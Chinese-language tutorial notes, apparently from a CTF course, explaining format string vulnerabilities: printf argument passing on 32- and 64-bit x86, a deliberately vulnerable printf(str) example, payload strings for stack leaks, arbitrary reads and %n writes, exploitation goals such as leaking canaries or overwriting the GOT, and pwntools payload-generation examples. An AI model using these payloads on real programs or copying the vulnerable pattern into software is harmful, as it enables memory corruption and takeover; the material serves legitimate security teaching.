格式化字符串漏洞

复习

`printf`族函数

```
#include <stdio.h>

int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);

#include <stdarg.h>

int vprintf(const char *format, va_list ap);
int vfprintf(FILE *stream, const char *format, va_list ap);
int vdprintf(int fd, const char *format, va_list ap);
int vsprintf(char *str, const char *format, va_list ap);
int vsnprintf(char *str, size_t size, const char *format, va_list ap);
```

```
int printf(const char *format, ...);
```

使用要求：传入的参数列表必须和格式化字符串严格对应

Syntax

The syntax for a format placeholder is
`%[parameter][flags][width][.precision][length]type`

	位置	描述
`n$`	Parameter field	n is the number of the parameter to display using this format specifier, allowing the parameters provided to be output multiple times, using varying format specifiers or in different orders. If any single placeholder specifies a parameter, all the rest of the placeholders MUST also specify a parameter. For example, `printf("%2$d %2$#x; %1$d %1$#x",16,17)` produces `17 0x11; 16 0x10`.
`hh`	Length field	For integer types, causes printf to expect an int-sized integer argument which was promoted from a char.
`h`	Length field	For integer types, causes printf to expect an int-sized integer argument which was promoted from a short.
`n`	Type field	Print nothing, but writes the number of characters successfully written so far into an integer pointer parameter.

See https://en.wanweibaike.com/wiki-Format%20string

32位

参数都通过栈传递，从最右侧开始向左依次入栈，最左侧的参数地址最低，最靠近返回地址的位置，最右侧的参数地址最高

```
push    7
push    6
push    5
push    4
push    3
push    2
push    1
push    0
push    offset format   ; "%p %p %p %p %p %p %p %p\n"
call    _printf
add     esp, 30h
```

64位

整型参数从左向右依次放在 `rdi rsi rdx rcx r8 r9`

浮点参数从左向右依次放在 `xmm0 ~ xmm7`

更多的参数通过栈传递.

```
push    7
push    6
push    5
mov     r9d, 4
mov     r8d, 3
mov     ecx, 2
mov     edx, 1
mov     esi, 0
mov     edi, offset format ; "%p %p %p %p %p %p %p %p\n"
mov     eax, 0
call    _printf
add     rsp, 20h
```

漏洞在哪里

如果格式化字符串和参数列表不符合会怎样?

传参多了会怎样?

传参少了会怎样?

```
void leak()
{
    char str[128];
    printf("%p %p %p %p %p %p %p %p\n");
}
```

如果格式化字符串可控?

一般来说，在格式化字符串漏洞中，我们所读取的格式化字符串都是在栈上的

```
void vul()
{
    char str[128];
    fgets(str, 128, stdin);
    printf(str);
}
```

程序崩溃

`%s%s%s%s%s%s%s%s%s%s`

泄露栈内存

从栈顶开始泄露

`%p %p %p %p %p %p %p %p %p %p %p %p`

泄露任意地址内存

利用`%n$s`

格式化字符串放在主调函数栈上，而printf从主调函数栈顶开始向栈底读取参数（回忆32位下函数调用约定）。所以格式化字符串本身一定在printf的某个参数对应的位置上。

```
Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28  in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', '18']
8
0xffffccfc|+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00|+0x04: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd04|+0x08: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd08|+0x0c: 0x000000c2
0xffffcd0c|+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10|+0x14: 0xff007325 ("%s"?)     ← $eax
0xffffcd14|+0x18: 0xffffce3c  →  0xffffd074  →
 "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18|+0x1c: 0x000000e0
```

那么格式化字符串是我们自己输入的，因此我们可以控制该格式化字符串。

如果我们知道该格式化字符串的内容在`printf`调用时对应的是第几个参数，那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。这里假设该格式化字符串相对函数调用为第 k 个参数，其中 addr 为地址的机器表示，即`p32(address)`

`"addr%k$s"`

但是，并不是说所有的偏移机器字长的整数倍，可以让我们直接相应参数来获取，有时候，我们需要对我们输入的格式化字符串进行填充，来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处。`"[padding][addr]"`

覆盖任意地址内存

利用`%n$n`

> %n,不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

指定任意地址的原理和泄露内存的原理相同，都是在格式化字符串中包含地址，然后用`$`去指定参数偏移。

所以我们需要填充好到达`%n`时printf输出的字符个数，技巧：`%nc`其中n为数字，这样可以输出n个字符。

因为需要填充输出字符个数，为了方便生成，一般把地址放到格式化字符串的最后面，这样比较方便填充字符。

（实际攻击中`%n$hn`和`%n$n`不常见，因为这样会导致printf输出过长，阻塞网络难以完成攻击，通常都使用写入一个字节的`%n$hhn`，然后使用多个单字节写入合用来修改一个机器字长的变量）

64位?

64位下前6个参数通过寄存器传递，所以前六个参数要跳过之后，然后才会从主调函数的栈顶开始读取参数（第一个参数为格式化字符串所以还有5个参数在寄存器里需要跳过才开始从栈中读取参数`'%p%p%p%p%p' + payload`）

64位下地址的高16位一定为0，会把格式化字符串截断。

解决：地址放后面

可以做什么

任意地址读取

泄露栈内存，获取栈上保存的基指针值，计算出栈的地址

泄露栈内存，获取函数返回地址值，计算开启PIE的ELF基址（主调函数为程序ELF中函数，返回地址指向程序代码段的某个位置）

泄露栈内存，获取canary

或者计算`libc`基址（`main`的主调函数为`__libc_start_main`所以`main`的返回地址指向`__libc_start_main`的某个位置）

泄露GOT，获取libc基址

任意地址写入

Partial RELRO时篡改GOT

结合泄露栈地址，篡改函数栈（修改返回地址ROP，修改保存的基指针栈迁移）

利用：pwntools

生成payload

```
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str
```

自动利用

```
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
```

example from pwntools documentation

根据参数生成payload

```
# we want to do 3 writes
writes = {0x08041337:   0xbfffffff,
          0x08041337+4: 0x1337babe,
          0x08041337+8: 0xdeadbeef}

# the printf() call already writes some bytes
# for example :
# strcat(dest, "blabla :", 256);
# strcat(dest, your_input, 256);
# printf(dest);
# Here, numbwritten parameter must be 8
payload = fmtstr_payload(5, writes, numbwritten=8)
```

使用FmtStr自动攻击

```
# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
# It do this indefinitely
p = process('./vulnerable')

# Function called in order to send a payload
def send_payload(payload):
        log.info("payload = %s" % repr(payload))
        p.sendline(payload)
        return p.recv()

# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()
```

习题

http://ctf.xiabee.cn:9000